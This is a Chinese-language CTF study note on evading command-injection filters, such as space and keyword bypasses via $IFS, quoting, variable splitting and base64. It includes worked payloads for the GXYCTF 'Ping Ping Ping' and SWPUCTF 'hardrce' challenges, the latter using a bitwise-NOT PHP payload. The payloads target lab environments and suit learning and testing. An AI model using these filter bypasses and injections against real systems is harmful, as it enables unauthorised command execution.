我们在做题过程中,会有各种各样的过滤限制,我们就可以绕过,具体怎么绕

绕过空格

  • /**/代替空格
  • Tab代替空格
  • %a0代替空格

常见的绕过空格的方法有$IFS$9,$IFS,$IFS$1,${IFS},%09,$IFS是linux下的分隔符,加上{}或者后面加$表示截断,防止与后面的变量名粘连导致命令无法执行

绕过分隔符

通常有两种表示方法||后者

都试一下

绕过关键字

  • 中间加符号
1
2
3
4
5
6
ls -> l\s
ls -> l""s
ls -> l``s
cat /flag -> ca\t /flag -> c\a\t /flag
cat /flag -> ca""t /flag -> c""a""t /flag
cat /flag -> ca``t /flag -> c``a``t /flag
  • 拆分命令绕过
1
2
ls -> a=l;b=s;$a$b
cat /flag -> a=ag;b=fl;cat /$b$a;
  • 编码绕过
  1. base64

    1
    2
    3
    echo 'cat' | base64  --> Y2F0Cg==
    那我们就可以构造cat /flag为:
    `echo 'Y2F0Cg==' | base64 -d` /flag
  2. hex

  • 通配符绕过
1
2
3
?匹配单个字符,若要匹配多个字符,就用多个?连用
* 代表任意数量的字符
[]代表一定有一个在括号内的字符(非任意字符)
  • 连接符绕过

利用单引号''双引号""反斜杠\

  • 大小写绕过

直接利用大小写混用,随机搭配,尝试绕过

  • 引号绕过

waf拦截时,直接进行替换,单双引号相互替换或者hex十六进制绕过

  • php限制绕过

    php的限制一般是用于防止后缀嵌套php文件

    后缀的话一般就用通配符就可以绕过了

like绕过

1
2
使用 like 模糊查询 select user() like ‘%r%’; 模糊查询成功返回 1 否则返回 0 ;
找到第一个字符后继续进行下一个字符匹配,从而找到所有的字符串

例题

[GXYCTF 2019]Ping Ping Ping

打开后是这样的

image-20250523222949319

依据提示输入

image-20250523223210453

再次输入

image-20250523223301922

得到

image-20250523223313826

继续cat一下

回显显示过滤了空格

image-20250523223405859

发现并不是单纯过滤了空格,可能还有flag

image-20250523223549486

那我们就尝试一下index.php

image-20250523224115787

下面是回显的内容

总结一下,空格过滤,大括号过滤,flag四个字母不能同时出现(替换绕过)

尝试构造 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

因为在前面查看源码时看到了a变量,尝试覆盖a变量

查看源码

image-20250523225741796

出现flag

[SWPUCTF 2021 新生赛]hardrce

打开环境后

image-20250524083704376

看到过滤了一些符号

  • 使用get方式请求给wllm传参

  • 使用preg_match函数正则匹配过滤掉了一些符号

'\t','\r','\n','\+','','\"','\-','\$','\*','\?','\<','\>','\=','\‘`

​ 以及 [a-zA-Z] 即所有的大小写字母

先构造system('ls /')

从上面知道了这道题没有过滤(),所以我们仅对括号内外分别取反再编码

得到:

%8C%86%8C%8B%9A%92

%93%8C%DF%D0

输入?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

回显image-20250524085245800

这样我们就cat /flllllaaaaaaggggggg

%8C%86%8C%8B%9A%92

%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98)

输入?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);

回显得到flag

image-20250524085506570

NSSCTF{a912912e-6079-4e98-8817-8264ffdc612a}